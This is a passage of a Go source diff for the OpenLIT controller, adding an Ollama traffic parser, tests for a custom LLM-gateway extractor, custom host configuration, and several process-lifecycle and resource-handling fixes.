+ if span.SubType != request.HTTPSubtypeCustom {
+ t.Fatalf("expected HTTPSubtypeCustom, got %d", span.SubType)
+ }
+ if span.GenAI == nil || span.GenAI.Custom == nil {
+ t.Fatal("expected GenAI.Custom populated")
+ }
+ if span.GenAI.Custom.Request.Model != "gpt-4o-mini" {
+ t.Fatalf("model: %q", span.GenAI.Custom.Request.Model)
+ }
+ if span.GenAI.Custom.Usage.GetInputTokens() != 11 || span.GenAI.Custom.Usage.GetOutputTokens() != 7 {
+ t.Fatalf("tokens wrong: %+v", span.GenAI.Custom.Usage)
+ }
+ // Operation normalized to semconv ("chat.completion" -> "chat").
+ if span.GenAI.Custom.OperationName != "chat" {
+ t.Fatalf("operation should normalize to 'chat', got %q", span.GenAI.Custom.OperationName)
+ }
+ // Span name follows the OpenAI convention "<operation> <model>".
+ if name := span.TraceName(); name != "chat gpt-4o-mini" {
+ t.Fatalf("span name: got %q, want %q", name, "chat gpt-4o-mini")
+ }
+
+ // Messages MUST follow the GenAI semconv structure (role + parts[]), not the
+ // raw OpenAI shape.
+ var inMsgs []scMessage
+ if err := json.Unmarshal([]byte(span.GenAI.CustomInputMessages), &inMsgs); err != nil {
+ t.Fatalf("input messages not valid JSON: %v (%s)", err, span.GenAI.CustomInputMessages)
+ }
+ if len(inMsgs) != 1 || inMsgs[0].Role != "user" || len(inMsgs[0].Parts) != 1 ||
+ inMsgs[0].Parts[0].Type != "text" || inMsgs[0].Parts[0].Content != "hi" {
+ t.Fatalf("input messages not semconv-shaped: %s", span.GenAI.CustomInputMessages)
+ }
+
+ var outMsgs []scMessage
+ if err := json.Unmarshal([]byte(span.GenAI.CustomOutputMessages), &outMsgs); err != nil {
+ t.Fatalf("output messages not valid JSON: %v (%s)", err, span.GenAI.CustomOutputMessages)
+ }
+ if len(outMsgs) != 1 || outMsgs[0].Role != "assistant" || outMsgs[0].FinishReason != "stop" ||
+ len(outMsgs[0].Parts) != 1 || outMsgs[0].Parts[0].Type != "text" {
+ t.Fatalf("output messages not semconv-shaped (need role+parts+finish_reason): %s", span.GenAI.CustomOutputMessages)
+ }
+}
+
+// System and developer role messages become system_instructions (a flat parts
+// array), tool calls/results become tool_call / tool_call_response parts.
+func TestCustomSpanSemconvSystemAndTools(t *testing.T) {
+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "litellm", HostPort: 4000}
+ reqBody := `{"model":"gpt-4o-mini","messages":[` +
+ `{"role":"system","content":"be brief"},` +
+ `{"role":"user","content":"weather?"},` +
+ `{"role":"assistant","tool_calls":[{"id":"call_1","function":{"name":"get_weather","arguments":"{\"city\":\"SF\"}"}}]},` +
+ `{"role":"tool","tool_call_id":"call_1","content":"sunny"}` +
+ `]}`
+ respBody := `{"object":"chat.completion","model":"gpt-4o-mini","choices":[{"finish_reason":"stop","message":{"role":"assistant","content":"It's sunny."}}],"usage":{"prompt_tokens":5,"completion_tokens":3}}`
+ req, resp := customReqResp("/chat/completions", "litellm:4000", reqBody, respBody)
+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))
+
+ span, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp)
+ if !ok {
+ t.Fatal("expected match")
+ }
+
+ // system_instructions: flat parts array with the system content.
+ var sys []scPart
+ if err := json.Unmarshal([]byte(span.GenAI.CustomSystemInstructions), &sys); err != nil {
+ t.Fatalf("system_instructions not valid JSON: %v (%s)", err, span.GenAI.CustomSystemInstructions)
+ }
+ if len(sys) != 1 || sys[0].Type != "text" || sys[0].Content != "be brief" {
+ t.Fatalf("system_instructions wrong: %s", span.GenAI.CustomSystemInstructions)
+ }
+
+ // input messages: system excluded; tool_call and tool_call_response parts present.
+ var in []scMessage
+ if err := json.Unmarshal([]byte(span.GenAI.CustomInputMessages), &in); err != nil {
+ t.Fatalf("bad input json: %v", err)
+ }
+ var sawToolCall, sawToolResp, sawSystem bool
+ for _, m := range in {
+ if m.Role == "system" {
+ sawSystem = true
+ }
+ for _, p := range m.Parts {
+ switch p.Type {
+ case "tool_call":
+ if p.Name == "get_weather" && p.ID == "call_1" {
+ sawToolCall = true
+ }
+ case "tool_call_response":
+ if p.ID == "call_1" {
+ sawToolResp = true
+ }
+ }
+ }
+ }
+ if sawSystem {
+ t.Fatal("system message must NOT appear in input.messages")
+ }
+ if !sawToolCall {
+ t.Fatalf("expected tool_call part: %s", span.GenAI.CustomInputMessages)
+ }
+ if !sawToolResp {
+ t.Fatalf("expected tool_call_response part: %s", span.GenAI.CustomInputMessages)
+ }
+}
+
+// A custom gateway serving chat on a NON-standard path is still named correctly,
+// because the operation comes from the response body's "object", not the path.
+func TestCustomSpanNonStandardPath(t *testing.T) {
+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "myproxy", HostPort: 9000}
+ req, resp := customReqResp("/testchat", "myproxy:9000", openAIShapedReq, openAIShapedResp)
+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))
+
+ span, ok := CustomSpan(base, []string{"myproxy:9000"}, req, resp)
+ if !ok {
+ t.Fatal("expected match on non-standard path /testchat")
+ }
+ if span.GenAI.Custom.OperationName != "chat" {
+ t.Fatalf("operation should be 'chat' from body object, got %q", span.GenAI.Custom.OperationName)
+ }
+ if name := span.TraceName(); name != "chat gpt-4o-mini" {
+ t.Fatalf("span name: got %q", name)
+ }
+}
+
+// A request to a host NOT in the configured set must be ignored.
+func TestCustomSpanHostNoMatch(t *testing.T) {
+ base := &request.Span{Host: "10.0.0.9", HostPort: 9999}
+ req, resp := customReqResp("/chat/completions", "other.svc:9999", openAIShapedReq, openAIShapedResp)
+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))
+
+ if _, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp); ok {
+ t.Fatal("must NOT match a host outside custom_llm_hosts")
+ }
+}
+
+// Right host but wrong port (spec pins a port) must be ignored.
+func TestCustomSpanPortMismatch(t *testing.T) {
+ base := &request.Span{Host: "litellm", HostPort: 8080}
+ req, resp := customReqResp("/chat/completions", "litellm:8080", openAIShapedReq, openAIShapedResp)
+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))
+
+ if _, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp); ok {
+ t.Fatal("must NOT match when spec pins port 4000 but conn is :8080")
+ }
+}
+
+// Bare host spec (no port) matches any port.
+func TestCustomSpanBareHostAnyPort(t *testing.T) {
+ base := &request.Span{Host: "gw", HostPort: 12345}
+ req, resp := customReqResp("/v1/chat/completions", "gw:12345", openAIShapedReq, openAIShapedResp)
+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))
+
+ if _, ok := CustomSpan(base, []string{"gw"}, req, resp); !ok {
+ t.Fatal("bare host spec should match any port")
+ }
+}
+
+// Matched host but non-OpenAI-shaped body still yields no GenAI fields, but the
+// parser is tolerant: with no model/usage it should still not panic. We assert
+// it returns ok (host matched) but Custom has empty model.
+func TestCustomSpanEmptyHosts(t *testing.T) {
+ base := &request.Span{Host: "litellm", HostPort: 4000}
+ req, resp := customReqResp("/chat/completions", "litellm:4000", openAIShapedReq, openAIShapedResp)
+ if _, ok := CustomSpan(base, nil, req, resp); ok {
+ t.Fatal("no configured hosts -> never matches")
+ }
+}
diff --git a/openlit-controller/_obi-providers/ollama/ollama.go b/openlit-controller/_obi-providers/ollama/ollama.go
new file mode 100644
index 00000000..73f8dc37
--- /dev/null
+++ b/openlit-controller/_obi-providers/ollama/ollama.go
@@ -0,0 +1,113 @@
+// Copyright The OpenTelemetry Authors
+// SPDX-License-Identifier: Apache-2.0
+
+package ebpfcommon // import "go.opentelemetry.io/obi/pkg/ebpf/common/http"
+
+import (
+ "bytes"
+ "encoding/json"
+ "io"
+ "log/slog"
+ "net/http"
+ "strings"
+
+ "go.opentelemetry.io/obi/pkg/appolly/app/request"
+)
+
+// Ollama native API request/response schemas. These differ from the OpenAI
+// wire format: tokens are prompt_eval_count/eval_count, chat output is in
+// message.content, and /api/generate output is in response. The OpenAI-compat
+// endpoint (/v1/...) is intentionally NOT handled here — it is covered by the
+// OpenAI/custom extractor — so this parser path-gates on /api/chat and
+// /api/generate only.
+
+type ollamaMessage struct {
+ Role string `json:"role"`
+ Content string `json:"content"`
+}
+
+type ollamaRequest struct {
+ Model string `json:"model"`
+ Messages []ollamaMessage `json:"messages"` // /api/chat
+ Prompt string `json:"prompt"` // /api/generate
+}
+
+type ollamaResponse struct {
+ Model string `json:"model"`
+ Message ollamaMessage `json:"message"` // /api/chat
+ Response string `json:"response"` // /api/generate
+ Done bool `json:"done"`
+ PromptEvalCount int `json:"prompt_eval_count"`
+ EvalCount int `json:"eval_count"`
+}
+
+// OllamaSpan parses Ollama's native /api/chat and /api/generate traffic into a
+// GenAI span. Returns ok=false for any other path or unparseable body.
+func OllamaSpan(baseSpan *request.Span, req *http.Request, resp *http.Response) (request.Span, bool) {
+ path := req.URL.Path
+ var operation string
+ switch {
+ case strings.HasSuffix(path, "/api/chat"):
+ operation = "chat"
+ case strings.HasSuffix(path, "/api/generate"):
+ operation = "generate"
+ default:
+ return *baseSpan, false
+ }
+
+ reqB, err := io.ReadAll(req.Body)
+ if err != nil {
+ return *baseSpan, false
+ }
+ req.Body = io.NopCloser(bytes.NewBuffer(reqB))
+
+ respB, err := getResponseBody(resp)
+ if err != nil && len(respB) == 0 {
+ return *baseSpan, false
+ }
+
+ slog.Debug("Ollama", "request", string(reqB), "response", string(respB))
+
+ var parsedReq ollamaRequest
+ if err := json.Unmarshal(reqB, &parsedReq); err != nil {
+ return *baseSpan, false
+ }
+
+ var parsedResp ollamaResponse
+ // Response may be missing/streamed; tolerate parse failure and still emit
+ // what we have from the request.
+ _ = json.Unmarshal(respB, &parsedResp)
+
+ model := parsedReq.Model
+ if model == "" {
+ model = parsedResp.Model
+ }
+
+ inputMessages := ""
+ if len(parsedReq.Messages) > 0 {
+ if b, mErr := json.Marshal(parsedReq.Messages); mErr == nil {
+ inputMessages = string(b)
+ }
+ } else if parsedReq.Prompt != "" {
+ inputMessages = parsedReq.Prompt
+ }
+
+ outputMessages := parsedResp.Message.Content
+ if outputMessages == "" {
+ outputMessages = parsedResp.Response
+ }
+
+ baseSpan.SubType = request.HTTPSubtypeOllama
+ baseSpan.GenAI = &request.GenAI{
+ Ollama: &request.VendorOllama{
+ Model: model,
+ InputTokens: parsedResp.PromptEvalCount,
+ OutputTokens: parsedResp.EvalCount,
+ Operation: operation,
+ Input: inputMessages,
+ Output: outputMessages,
+ },
+ }
+
+ return *baseSpan, true
+}
diff --git a/openlit-controller/_obi-providers/ollama/ollama_test.go b/openlit-controller/_obi-providers/ollama/ollama_test.go
new file mode 100644
index 00000000..c55072f3
--- /dev/null
+++ b/openlit-controller/_obi-providers/ollama/ollama_test.go
@@ -0,0 +1,92 @@
+// Copyright The OpenTelemetry Authors
+// SPDX-License-Identifier: Apache-2.0
+
+package ebpfcommon
+
+import (
+ "bytes"
+ "io"
+ "net/http"
+ "net/url"
+ "strings"
+ "testing"
+
+ "go.opentelemetry.io/obi/pkg/appolly/app/request"
+)
+
+func makeOllamaReqResp(path, reqBody, respBody string) (*http.Request, *http.Response) {
+ req := &http.Request{
+ Method: "POST",
+ URL: &url.URL{Path: path},
+ Body: io.NopCloser(strings.NewReader(reqBody)),
+ Header: http.Header{},
+ }
+ resp := &http.Response{
+ StatusCode: 200,
+ Body: io.NopCloser(strings.NewReader(respBody)),
+ Header: http.Header{},
+ }
+ return req, resp
+}
+
+func TestOllamaSpanChat(t *testing.T) {
+ reqBody := `{"model":"llama3.2","messages":[{"role":"user","content":"hello"}]}`
+ respBody := `{"model":"llama3.2","message":{"role":"assistant","content":"hi there"},"done":true,"prompt_eval_count":11,"eval_count":7}`
+
+ base := &request.Span{}
+ req, resp := makeOllamaReqResp("/api/chat", reqBody, respBody)
+ // reset body since OllamaSpan reads it
+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))
+
+ span, ok := OllamaSpan(base, req, resp)
+ if !ok {
+ t.Fatal("expected OllamaSpan to match /api/chat")
+ }
+ if span.GenAI == nil || span.GenAI.Ollama == nil {
+ t.Fatal("expected GenAI.Ollama populated")
+ }
+ o := span.GenAI.Ollama
+ if o.Model != "llama3.2" {
+ t.Fatalf("model: got %q", o.Model)
+ }
+ if o.InputTokens != 11 || o.OutputTokens != 7 {
+ t.Fatalf("tokens: in=%d out=%d", o.InputTokens, o.OutputTokens)
+ }
+ if !strings.Contains(o.Output, "hi there") {
+ t.Fatalf("output content missing: %q", o.Output)
+ }
+ if o.Operation != "chat" {
+ t.Fatalf("operation: got %q", o.Operation)
+ }
+}
+
+func TestOllamaSpanGenerate(t *testing.T) {
+ reqBody := `{"model":"llama3.2","prompt":"why is the sky blue?"}`
+ respBody := `{"model":"llama3.2","response":"because of rayleigh scattering","done":true,"prompt_eval_count":5,"eval_count":9}`
+
+ base := &request.Span{}
+ req, resp := makeOllamaReqResp("/api/generate", reqBody, respBody)
+ req.Body = io.NopCloser(bytes.NewBufferString(reqBody))
+
+ span, ok := OllamaSpan(base, req, resp)
+ if !ok {
+ t.Fatal("expected OllamaSpan to match /api/generate")
+ }
+ o := span.GenAI.Ollama
+ if o.OutputTokens != 9 || !strings.Contains(o.Output, "rayleigh") {
+ t.Fatalf("unexpected generate parse: %+v", o)
+ }
+ if o.Operation != "generate" {
+ t.Fatalf("operation: got %q", o.Operation)
+ }
+}
+
+func TestOllamaSpanIgnoresOpenAIPath(t *testing.T) {
+ base := &request.Span{}
+ req, resp := makeOllamaReqResp("/v1/chat/completions", `{"model":"x"}`, `{}`)
+ req.Body = io.NopCloser(bytes.NewBufferString(`{"model":"x"}`))
+
+ if _, ok := OllamaSpan(base, req, resp); ok {
+ t.Fatal("OllamaSpan must NOT match the /v1/ OpenAI-compat path")
+ }
+}
diff --git a/openlit-controller/cmd/controller/main.go b/openlit-controller/cmd/controller/main.go
index 8171fcaa..39c5e62d 100644
--- a/openlit-controller/cmd/controller/main.go
+++ b/openlit-controller/cmd/controller/main.go
@@ -191,7 +191,7 @@ type pollResult struct {
}
func doPoll(
- _ context.Context,
+ ctx context.Context,
client *openlit.Client,
eng *engine.Engine,
logger *zap.Logger,
@@ -229,7 +229,7 @@ func doPoll(
})
}
- resp, err := client.Poll(&openlit.PollRequest{
+ resp, err := client.Poll(ctx, &openlit.PollRequest{
InstanceID: instanceID,
ClusterID: clusterID,
Version: server.Version,
@@ -266,22 +266,40 @@ func doPoll(
}
}
+ if hostsRaw, ok := resp.Config["custom_llm_hosts"]; ok {
+ if hostsList, ok := hostsRaw.([]interface{}); ok {
+ specs := make([]string, 0, len(hostsList))
+ for _, h := range hostsList {
+ if s, ok := h.(string); ok {
+ if s = strings.TrimSpace(s); s != "" {
+ specs = append(specs, s)
+ }
+ }
+ }
+ eng.UpdateCustomHosts(specs)
+ }
+ }
+
if exportRaw, ok := resp.Config["export"]; ok {
if exportMap, ok := exportRaw.(map[string]interface{}); ok {
+ // Only non-empty values override the controller's configured
+ // (env-derived) endpoints. An empty/unset field in the dashboard
+ // config means "use the controller's own OTEL_EXPORTER_OTLP_ENDPOINT",
+ // so it must NOT clobber the working endpoint with "".
newCfg := eng.GetExportConfig()
- if v, ok := exportMap["otlp_endpoint"].(string); ok {
+ if v, ok := exportMap["otlp_endpoint"].(string); ok && v != "" {
newCfg.OTLPEndpoint = v
}
- if v, ok := exportMap["otlp_protocol"].(string); ok {
+ if v, ok := exportMap["otlp_protocol"].(string); ok && v != "" {
newCfg.OTLPProtocol = v
}
- if v, ok := exportMap["otlp_traces_endpoint"].(string); ok {
+ if v, ok := exportMap["otlp_traces_endpoint"].(string); ok && v != "" {
newCfg.OTLPTracesEndpoint = v
}
- if v, ok := exportMap["otlp_metrics_endpoint"].(string); ok {
+ if v, ok := exportMap["otlp_metrics_endpoint"].(string); ok && v != "" {
newCfg.OTLPMetricsEndpoint = v
}
- if v, ok := exportMap["otlp_logs_endpoint"].(string); ok {
+ if v, ok := exportMap["otlp_logs_endpoint"].(string); ok && v != "" {
newCfg.OTLPLogsEndpoint = v
}
if headersRaw, ok := exportMap["otlp_headers"]; ok {
diff --git a/openlit-controller/internal/engine/container.go b/openlit-controller/internal/engine/container.go
index e96da17f..b0bc749e 100644
--- a/openlit-controller/internal/engine/container.go
+++ b/openlit-controller/internal/engine/container.go
@@ -268,9 +268,9 @@ func (c *k8sAPIClient) getPodByContainerID(containerID, nodeName string) (*PodIn
if err != nil {
return nil, err
}
- defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
+ resp.Body.Close()
return nil, fmt.Errorf("K8s API returned %d", resp.StatusCode)
}
@@ -300,8 +300,12 @@ func (c *k8sAPIClient) getPodByContainerID(containerID, nodeName string) (*PodIn
} `json:"items"`
}
- if err := json.NewDecoder(resp.Body).Decode(&podList); err != nil {
- return nil, fmt.Errorf("decoding pod list: %w", err)
+ decodeErr := json.NewDecoder(resp.Body).Decode(&podList)
+ // Close each page's body before processing/continuing so we don't
+ // accumulate open connections across pagination iterations.
+ resp.Body.Close()
+ if decodeErr != nil {
+ return nil, fmt.Errorf("decoding pod list: %w", decodeErr)
}
for _, pod := range podList.Items {
diff --git a/openlit-controller/internal/engine/engine.go b/openlit-controller/internal/engine/engine.go
index b9c6df07..3b7c8e1c 100644
--- a/openlit-controller/internal/engine/engine.go
+++ b/openlit-controller/internal/engine/engine.go
@@ -48,14 +48,15 @@ type Engine struct {
logger *zap.Logger
running bool
- scanner *scanner.Scanner
- obi *OBIManager
- exportCfg ExportConfig
- procRoot string
- deployMode config.DeployMode
- container *ContainerEnricher
- environment string
- sdkVersion string
+ scanner *scanner.Scanner
+ customHosts []string // user-configured custom LLM host specs ("host[:port]")
+ obi *OBIManager
+ exportCfg ExportConfig
+ procRoot string
+ deployMode config.DeployMode
+ container *ContainerEnricher
+ environment string
+ sdkVersion string
patterns map[string]instrumentPattern // serviceID -> pattern
}
@@ -77,11 +78,11 @@ const (
// sync with the SQL projections in
// src/client/src/lib/platform/agents/index.ts.
const (
- LifecycleStatusAttr = "openlit.lifecycle.status"
- LifecycleStatusRunning = "running"
- LifecycleStatusStopped = "stopped"
- LifecycleStatusRestarting = "restarting"
- K8sSavedReplicasAnnotation = "openlit.io/saved-replicas"
+ LifecycleStatusAttr = "openlit.lifecycle.status"
+ LifecycleStatusRunning = "running"
+ LifecycleStatusStopped = "stopped"
+ LifecycleStatusRestarting = "restarting"
+ K8sSavedReplicasAnnotation = "openlit.io/saved-replicas"
K8sRolloutRestartAnnotation = "openlit.io/restartedAt"
)
@@ -109,9 +110,9 @@ func New(logger *zap.Logger, obiBinaryPath, otlpEndpoint, procRoot, environment,
OTLPEndpoint: otlpEndpoint,
OTLPProtocol: "http/protobuf",
},
- procRoot: procRoot,
- deployMode: mode,
- container: container,
+ procRoot: procRoot,
+ deployMode: mode,
+ container: container,
environment: environment,
sdkVersion: sdkVersion,
}
@@ -135,6 +136,9 @@ func (e *Engine) Start(ctx context.Context) error {
e.logger.Warn("eBPF scanner unavailable; discovery disabled", zap.Error(err))
} else {
e.scanner = sc
+ if len(e.customHosts) > 0 {
+ e.scanner.UpdateCustomHosts(e.customHosts)
+ }
go e.scanner.Run(ctx)
go e.consumeScannerEvents(ctx)
}
@@ -244,9 +248,14 @@ func (e *Engine) rebuildOBI() error {
K8sStatefulSet: p.K8sStatefulSet,
}
svc, ok := e.services[id]
- if ok && e.deployMode != config.DeployDocker {
- // In Docker mode OBI should keep container-derived naming instead of
- // applying a static service name to every matching container.
+ if ok {
+ // The controller is the naming authority: it discovers the workload
+ // (and resolves any user-set OTEL_SERVICE_NAME) before OBI runs, so it
+ // sets the per-target service name OBI emits under. This keeps trace
+ // ServiceName aligned with the agents summary in every mode. OBI's
+ // instrument[].name is scoped per-target (each entry is matched to one
+ // workload via target_pids/pod/deployment), so this does not mislabel
+ // other containers, and it takes precedence over OBI's auto-derived name.
entry.Name = svc.ServiceName
}
if e.deployMode == config.DeployDocker && !entry.ContainersOnly {
@@ -258,6 +267,7 @@ func (e *Engine) rebuildOBI() error {
e.exportCfg,
entries,
e.enabledProvidersForPatterns(),
+ e.customHosts,
e.deployMode,
e.environment,
)
@@ -460,6 +470,48 @@ func (e *Engine) UpdateExportConfig(cfg ExportConfig) {
}
}
+// UpdateCustomHosts stores the user-configured custom LLM host specs and, if
+// the scanner is already running, applies them immediately. Specs are
+// "host[:port]" strings (e.g. "litellm.internal:4000", "ollama.local:11434").
+// If the scanner has not started yet, the specs are applied when it does.
+func (e *Engine) UpdateCustomHosts(specs []string) {
+ e.mu.Lock()
+ defer e.mu.Unlock()
+
+ if stringSliceEqual(e.customHosts, specs) {
+ return
+ }
+ e.customHosts = append([]string(nil), specs...)
+ e.logger.Info("custom LLM hosts configured", zap.Strings("hosts", specs))
+
+ if e.scanner != nil {
+ e.scanner.UpdateCustomHosts(e.customHosts)
+ }
+
+ // The host list also feeds OBI's custom-gateway extractor gate
+ // (GenAI.Custom.Hosts) via BuildInstrumentConfig. If OBI is already running,
+ // rebuild so the updated hosts take effect immediately; otherwise the next
+ // instrumentation picks them up. Only rebuild when running to avoid spurious
+ // restarts before any workload is instrumented.
+ if e.obi.IsRunning() {
+ if err := e.rebuildOBI(); err != nil {
+ e.logger.Error("failed to rebuild OBI after custom hosts update", zap.Error(err))
+ }
+ }
+}
+
+func stringSliceEqual(a, b []string) bool {
+ if len(a) != len(b) {
+ return false
+ }
+ for i := range a {
+ if a[i] != b[i] {
+ return false
+ }
+ }
+ return true
+}
+
// GetExportConfig returns a snapshot of the current export configuration.
// The returned value is a deep copy safe for use outside the engine lock.
func (e *Engine) GetExportConfig() ExportConfig {
@@ -567,5 +619,13 @@ func (e *Engine) snapshotService(workloadKey string) (*openlit.ServiceState, err
}
copied.ResourceAttributes = clone
}
+ // Clone slices too — a shallow struct copy shares the backing arrays with
+ // the live map entry, so a caller appending/mutating would race the engine.
+ if svc.LLMProviders != nil {
+ copied.LLMProviders = append([]string(nil), svc.LLMProviders...)
+ }
+ if svc.OpenPorts != nil {
+ copied.OpenPorts = append([]uint16(nil), svc.OpenPorts...)
+ }
return &copied, nil
}
diff --git a/openlit-controller/internal/engine/events.go b/openlit-controller/internal/engine/events.go
index 0e6d0c28..536febca 100644
--- a/openlit-controller/internal/engine/events.go
+++ b/openlit-controller/internal/engine/events.go
@@ -22,7 +22,12 @@ func (e *Engine) consumeScannerEvents(ctx context.Context) {
select {
case <-ctx.Done():
return
- case ev := <-e.scanner.Events():
+ case ev, ok := <-e.scanner.Events():
+ if !ok {
+ // Channel closed (scanner shut down); stop consuming rather than
+ // spinning on zero-value events.
+ return
+ }
if ev.PID == selfPID {
continue
}
@@ -173,12 +178,18 @@ func buildWorkloadKey(meta *ProcessMetadata, mode config.DeployMode) string {
return ""
}
+// stableContainerName returns the container-name component of the K8s workload
+// key. It deliberately does NOT fall back to meta.ServiceName: ServiceName can
+// be overridden by a user-set OTEL_SERVICE_NAME, and the workload identity key
+// must stay derived from infrastructure only — otherwise enabling/changing that
+// env would shift the key and produce a duplicate agent listing. ContainerID is
+// a stable infra fallback; "default" is the last resort.
func stableContainerName(meta *ProcessMetadata) string {
if meta.ContainerName != "" {
return meta.ContainerName
}
- if meta.ServiceName != "" {
- return meta.ServiceName
+ if meta.ContainerID != "" {
+ return meta.ContainerID
}
return "default"
}
diff --git a/openlit-controller/internal/engine/obi.go b/openlit-controller/internal/engine/obi.go
index 05d377b5..8e320415 100644
--- a/openlit-controller/internal/engine/obi.go
+++ b/openlit-controller/internal/engine/obi.go
@@ -25,6 +25,7 @@ type OBIManager struct {
configPath string
logger *zap.Logger
running bool
+ stopping bool // set before signalling an intentional Stop, so the wait goroutine does not auto-restart
lastConfig *OBIConfig
}
@@ -68,6 +69,7 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {
childCtx, cancel := context.WithCancel(ctx)
m.cancel = cancel
m.waitDone = make(chan struct{})
+ m.stopping = false
m.cmd = exec.CommandContext(childCtx, m.binaryPath, "--config", m.configPath)
m.cmd.Env = os.Environ()
@@ -98,6 +100,7 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {
err := cmd.Wait()
m.mu.Lock()
lastCfg := m.lastConfig
+ intentional := m.stopping
m.running = false
if m.cmd == cmd {
m.cmd = nil
@@ -107,8 +110,13 @@ func (m *OBIManager) Start(ctx context.Context, cfg OBIConfig) error {
m.mu.Unlock()
close(waitDone)
- if childCtx.Err() != nil {
- m.logger.Debug("OBI stopped (context cancelled)")
+ // An intentional Stop sets m.stopping before signalling, so we must not
+ // auto-restart. We check the flag (set under lock above) in addition to
+ // childCtx.Err(): Stop() sends SIGTERM before calling cancel(), so the
+ // process can exit while childCtx.Err() is still nil — without the flag
+ // this goroutine would spuriously resurrect a just-stopped OBI.
+ if intentional || childCtx.Err() != nil {
+ m.logger.Debug("OBI stopped (intentional)")
return
}
if err != nil {
@@ -136,6 +144,9 @@ func (m *OBIManager) Stop() error {
cmd := m.cmd
cancel := m.cancel
waitDone := m.waitDone
+ // Mark intentional stop BEFORE signalling so the wait goroutine (which may
+ // wake from SIGTERM before cancel() runs) does not auto-restart.
+ m.stopping = true
m.mu.Unlock()
if err := cmd.Process.Signal(syscall.SIGTERM); err != nil {
@@ -170,7 +181,9 @@ func (m *OBIManager) Stop() error {
}
m.mu.Unlock()
- os.Remove(m.configPath)
+ if err := os.Remove(m.configPath); err != nil && !os.IsNotExist(err) {
+ m.logger.Debug("failed to remove OBI config file", zap.String("path", m.configPath), zap.Error(err))
+ }
return nil
}
@@ -269,29 +282,32 @@ type obiHTTP struct {
GenAI obiGenAI `yaml:"genai"`
}
+// obiGenAI mirrors OBI v0.9.0's genai payload-extraction config, plus our two
+// added extractors (custom, ollama). OBI natively parses OpenAI, Anthropic,
+// Gemini, Qwen, and Bedrock; the many OpenAI-compatible SaaS providers
+// (Groq, Mistral, Together, ...) are all handled by the OpenAI parser, so we do
+// not carry a separate flag per vendor — discovery maps them to "openai".
type obiGenAI struct {
- OpenAI obiEnabled `yaml:"openai"`
- Anthropic obiEnabled `yaml:"anthropic"`
- Gemini obiEnabled `yaml:"gemini"`
- Cohere obiEnabled `yaml:"cohere"`
- Mistral obiEnabled `yaml:"mistral"`
- Groq obiEnabled `yaml:"groq"`
- Deepseek obiEnabled `yaml:"deepseek"`
- Together obiEnabled `yaml:"together"`
- Fireworks obiEnabled `yaml:"fireworks"`
- AzureInference obiEnabled `yaml:"azure_inference"`
- AzureOpenAI obiEnabled `yaml:"azure_openai"`
- Bedrock obiEnabled `yaml:"bedrock"`
- VercelAI obiEnabled `yaml:"vercel_ai"`
- VertexAI obiEnabled `yaml:"vertex_ai"`
- LiteLLM obiEnabled `yaml:"litellm"`
- Ollama obiEnabled `yaml:"ollama"`
+ OpenAI obiEnabled `yaml:"openai"`
+ Anthropic obiEnabled `yaml:"anthropic"`
+ Gemini obiEnabled `yaml:"gemini"`
+ Qwen obiEnabled `yaml:"qwen"`
+ Bedrock obiEnabled `yaml:"bedrock"`
+ Custom obiCustomEnabled `yaml:"custom"`
+ Ollama obiEnabled `yaml:"ollama"`
}
type obiEnabled struct {
Enabled bool `yaml:"enabled"`
}
+// obiCustomEnabled carries the configured gateway destinations so OBI only
+// parses traffic to a known custom gateway as a custom GenAI span.
+type obiCustomEnabled struct {
+ Enabled bool `yaml:"enabled"`
+ Hosts []string `yaml:"hosts,omitempty"`
+}
+
type obiOTELTraces struct {
Endpoint string `yaml:"endpoint"`
Protocol string `yaml:"protocol"`
@@ -339,6 +355,7 @@ func BuildInstrumentConfig(
expCfg ExportConfig,
entries []obiTarget,
enabledProviders map[string]bool,
+ customHosts []string,
mode config.DeployMode,
environment string,
) OBIConfig {
@@ -371,21 +388,32 @@ func BuildInstrumentConfig(
cfg.EBPF.BufferSizes.HTTP = 8192
cfg.EBPF.ProtocolDebug = false
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.OpenAI.Enabled = enabledProviders["openai"]
+
+ // OBI has native parsers only for OpenAI, Anthropic, Gemini, Qwen, and
+ // Bedrock. Every other OpenAI-wire-compatible SaaS provider we discover
+ // (Cohere/Mistral/Groq/Deepseek/Together/Fireworks/Vercel/Vertex/Azure...)
+ // is parsed by the OpenAI extractor, so enabling any of them enables OpenAI.
+ openAICompatible := []string{
+ "openai", "cohere", "mistral", "groq", "deepseek", "together",
+ "fireworks", "azure_inference", "azure_openai", "vercel_ai", "vertex_ai",
+ }
+ for _, p := range openAICompatible {
+ if enabledProviders[p] {
+ cfg.EBPF.PayloadExtraction.HTTP.GenAI.OpenAI.Enabled = true
+ break
+ }
+ }
cfg.EBPF.PayloadExtraction.HTTP.GenAI.Anthropic.Enabled = enabledProviders["anthropic"]
cfg.EBPF.PayloadExtraction.HTTP.GenAI.Gemini.Enabled = enabledProviders["gemini"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Cohere.Enabled = enabledProviders["cohere"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Mistral.Enabled = enabledProviders["mistral"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Groq.Enabled = enabledProviders["groq"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Deepseek.Enabled = enabledProviders["deepseek"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Together.Enabled = enabledProviders["together"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.Fireworks.Enabled = enabledProviders["fireworks"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.AzureInference.Enabled = enabledProviders["azure_inference"]
- cfg.EBPF.PayloadExtraction.HTTP.GenAI.AzureOpenAI.Enabled = enabledProviders["azure_openai"]
